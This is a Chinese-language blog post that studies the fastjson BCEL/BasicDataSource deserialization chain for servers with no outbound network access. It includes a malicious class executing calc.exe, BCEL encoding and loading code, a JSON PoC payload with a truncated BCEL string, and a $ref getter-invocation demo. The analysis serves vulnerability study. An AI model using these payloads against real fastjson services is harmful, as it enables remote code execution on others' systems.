fastjson公开的就三条链,前两天我们上篇文章已经分析。TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。今天学习的这条链就是可以应对不出网的情况。
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel
摘自P牛BCEL ClassLoader去哪里了
BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader
,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()
方法。 在ClassLoader#loadClass()
中,其会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$
。默认情况下外层还会加一层GZip压缩。
我们可以编写一个恶意的类
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
然后使用过BCEL提供的两个类 Repository
和 Utility
来利用: Repository
用于将一个Java Class
先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility
用于将原生的字节码转换成BCEL格式的字节码:
public class BCEL_T {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
// new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}
讲完BCEL我们大概知道了如何使用,这下看看在fastjson里面的使用吧
测试环境
jdk8u31
dbcp 9.0.53
fastjson 1.2.24 [1.2.24之后修复了]
这里先贴一下poc[注意看注释]
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
这个poc最开始有点看不懂,这里贴一个其他师傅发的利用链,我们来分析下
BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()
不管if是不是true都会进行this.createDataSource().getConnection();
这个操作,跟踪下
然后继续跟进下到createDriver
到这里就执行了我们的恶意代码
可以看到这里是Class.forName
将类加载进来,并且设置了initialize
参数为true【其实就是告诉Java虚拟机是否执⾏”类初始化而staic就是在类初始化加载的】而Class.forName
方法实际上也是调用的 CLassLoader
来实现的。所以1和3都是可控的
但现在就有点问题了,我焯。他是怎么调用getConnection
的并且返回值是Connection
是不满足geter的
我们回头去查看这个POC形式
首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
这一整段外面再套一层{}
,这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb
将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:
而且JSONObject是Map的子类,当调用toString
的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection
方法
具体调试可以看fastjson反序列化之basicdatasource利用链
因为调用geter是有限制的,对于不满足getter的方法的时候我们该怎么解决呢?
当fastjson>=1.2.36的时候,可以使用$ref
方式调用getter
ref是fastjson特有的JSONPath语法,用来引用之前出现的对象
详细可以参考:https://goessner.net/articles/JsonPath/ 这里简单举个例子
Test.java
public class test {
private String cmd;
public void setCmd(String cmd) {
System.out.println("seter call");
this.cmd = cmd;
}
public String getCmd() throws IOException {
System.out.println("geter call");
Runtime.getRuntime().exec(cmd);
return cmd;
}
}
触发代码
public class ref_fastjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
JSON.parse(payload);
}
}
可以看到geter被调用了但是他是不满足我们geter调用要求的
我们来解释一下这个demo
[{"@type":"com.demo.fastjson.test","cmd":"calc"},{"$ref":"$[0].cmd"}]
这其实不就是一个数组吗,fastjson解析到$ref
会判断为是一个引用,$[0]
表示的是数组里的第一个元素,则$[0].cmd
表示的是获取第一个元素的cmd属性的值。
这里调试一下,看下调用栈
74行就是进行了一些ref的处理没啥 然后一些赋值增加了一个resolveTask,进入75行
进入eval根据path
生成并返回一个JavaPath
对象
然后继续进入eval
注意有一个init()
因为不满足所以直接else,注意看explain()
函数,这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,然后explain()会把一个完整的JSONPath拆分成小的处理逻辑,这里就不截图了 太多了。具体详细流程看y4师傅学习。
最终JSONPath.eval
最终会调用到getPropertyValue
函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter
至此流程我们大概就清楚了,那为什么1.2.36之前不行?
这里拿一个1.2.35对比一下差异主要在DefaultJSONParser#handleResovleTask
要求refValue不为null,且必须时JSONObject类
https://paper.seebug.org/1613/
https://jlkl.github.io/2021/12/18/Java_07/
https://mp.weixin.qq.com/s/dvqvaiJG28TZAyMEyIC6Lg
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://blog.csdn.net/solitudi/article/details/120275526FastJson反序列化之BasicDataSource利用链